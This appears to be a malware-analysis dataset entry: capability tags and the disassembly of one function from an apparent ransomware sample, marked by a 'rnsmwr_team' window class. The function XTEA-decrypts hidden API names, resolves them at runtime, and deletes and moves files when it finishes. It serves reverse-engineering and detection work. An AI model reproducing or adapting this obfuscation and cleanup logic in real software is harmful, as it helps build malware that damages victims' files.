Function at 0x402dd0
Capabilities:
Delete file
Encrypt data using xtea
Get common file path
Move file

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x248
mov r12, r8
mov dword [rsp + 0x64], 0x104
mov qword [rsp + 0x68], 0
call qword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
lea r8, [rsp + 0x68]
mov edx, 8
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x402e25
mov eax, 1
add rsp, 0x248
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
lea rbx, [rsp + 0xa0]
xor eax, eax
mov ecx, 6
lea rsi, [rsp + 0x130]
mov rdi, rbx
rep stosq qword [rdi], rax
lea r8, [rsp + 0x64]
mov rdx, rsi
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.USERENV.dll_GetUserProfileDirectoryA]
test eax, eax
je 0x402e10
lea rdi, [0x00403320]
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
mov edx, 0x7f05
xor ecx, ecx
mov dword [0x00406184], 0x23
mov qword [0x004060c0], rax
mov qword [0x00406188], rdi
mov qword [0x00406190], 0
mov qword [0x00406198], rax
call qword [sym.imp.USER32.dll_LoadIconA]
mov edx, 0x7f00
xor ecx, ecx
mov qword [0x004061a0], rax
mov qword [0x004061c8], rax
call qword [sym.imp.USER32.dll_LoadCursorA]
mov ecx, 0xc0
mov qword [0x004061a8], rax
call qword [sym.imp.GDI32.dll_CreateSolidBrush]
mov rcx, qword [rsp + 0x68]
mov qword [0x004061b8], 0
mov qword [0x004061b0], rax
lea rax, str.rnsmwr_team
mov qword [0x004061c0], rax
mov dword [0x00406180], 0x50
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov rdx, rsi
mov ecx, dword [rdx]
add rdx, 4
lea eax, [rcx - 0x1010101]
not ecx
and eax, ecx
and eax, 0x80808080
je 0x402f04
mov ecx, eax
shr ecx, 0x10
test eax, 0x8080
cmove eax, ecx
lea rcx, [rdx + 2]
mov edi, eax
cmove rdx, rcx
add dil, al
mov eax, 0x5c
lea rcx, [0x00406180]
sbb rdx, 3
mov word [rdx], ax
call qword [sym.imp.USER32.dll_RegisterClassExA]
mov rdx, qword [0x004061c0]
mov rcx, rsi
call sub.msvcrt.dll_strcat
mov r13, qword [0x004060c0]
mov ecx, 1
mov rdi, qword [sym.imp.USER32.dll_GetSystemMetrics]
call rdi
xor ecx, ecx
mov ebp, eax
call rdi
mov dword [rsp + 0x38], ebp
mov r9d, 0x80000000
mov rdx, qword [0x004061c0]
lea r8, str.Shit_happens
mov ecx, 0x40000
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call qword [sym.imp.USER32.dll_CreateWindowExA]
lea rdx, [rsp + 0xd0]
mov ecx, 8
xor r9d, r9d
mov rbp, rax
mov rdi, rdx
xor eax, eax
mov qword [rsp + 0x110], 0
rep stosq qword [rdi], rax
lea rdi, [0x00406200]
mov edx, 0xc3d2e1f0
mov rcx, rbp
movabs rax, 0xefcdab8967452301
mov r8d, 0x64
mov dword [rsp + 0x128], 0xc3d2e1f0
mov qword [rsp + 0x118], rax
movabs rax, 0x1032547698badcfe
mov qword [rsp + 0x120], rax
call qword [sym.imp.USER32.dll_SetTimer]
lea r11, [rdi + 0x710]
mov r8, rdi
nop word [rax + rax]
mov ecx, dword [r8]
mov eax, 0x9c52ab4a
mov edx, dword [r8 + 4]
nop dword [rax]
mov r9d, eax
mov r10d, ecx
shr r9d, 0xb
shl r10d, 4
and r9d, 3
mov r13d, dword [rsp + r9*4 + 0x118]
mov r9d, ecx
shr r9d, 5
xor r10d, r9d
lea r9d, [r10 + rcx]
add r13d, eax
add eax, 0x61c88647
xor r9d, r13d
sub edx, r9d
mov r9d, eax
and r9d, 3
mov r10d, edx
mov r13d, dword [rsp + r9*4 + 0x118]
mov r9d, edx
shl r10d, 4
shr r9d, 5
xor r10d, r9d
lea r9d, [r10 + rdx]
add r13d, eax
xor r9d, r13d
sub ecx, r9d
test eax, eax
jne 0x403060
mov dword [r8], ecx
add r8, 8
mov dword [r8 - 4], edx
cmp r11, r8
jne 0x403050
lea rcx, [0x00406200]
mov r13, qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
call r13
mov edx, 5
mov rcx, rbp
mov qword [0x004060c0], rax
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, [0x00406200]
call qword [sym.imp.KERNEL32.DLL_lstrlenA]
mov rcx, qword [0x004060c0]
cdqe
lea rdx, [rdi + rax + 1]
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov rcx, rbp
mov qword [fcn.00403240], rax
call qword [sym.imp.USER32.dll_SetForegroundWindow]
mov rcx, rbp
mov byte [0x00406208], 0x74
call qword [sym.imp.USER32.dll_SetFocus]
lea rcx, [0x00406207]
mov byte [0x00406207], 0x4e
call r13
lea rdx, [rsp + 0x70]
mov rcx, rsi
mov qword [0x004060c0], rax
call fcn.00402a10
test eax, eax
je 0x40320d
mov rdi, qword [sym.imp.USER32.dll_PeekMessageA]
jmp 0x403199
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], 1
mov rcx, rbx
call rdi
test eax, eax
jne 0x4031f9
cmp qword [fcn.00403240], 0
jne 0x403180
mov rcx, qword [0x004060b0]
test rcx, rcx
je 0x4031bd
call sub.msvcrt.dll_fclose
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_DeleteFileA]
mov rbx, qword [sym.imp.GDI32.dll_DeleteObject]
mov rcx, qword [0x00406120]
call rbx
mov rcx, qword [0x004061b0]
call rbx
mov r8d, 4
xor edx, edx
mov rcx, r12
call qword [sym.imp.KERNEL32.DLL_MoveFileExA]
xor eax, eax
add rsp, 0x248
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
mov rcx, rbx
call qword [sym.imp.USER32.dll_TranslateMessage]
mov rcx, rbx
call qword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x403199
lea rdx, [0x0040702c]
mov rcx, rsi
mov rax, qword [rsp + 0x90]
add qword [0x00406090], rax
call sub.msvcrt.dll_fopen
mov qword [0x004060b0], rax
jmp 0x40316f
sub rsp, 0x28
call fcn.00401600
mov rax, qword [0x00407670]
xor edx, edx
mov r9d, dword [rax]
mov rax, qword [0x00407660]
mov r8, qword [rax]
mov rax, qword [0x00407650]
mov rcx, qword [rax]
add rsp, 0x28
jmp 0x402dd0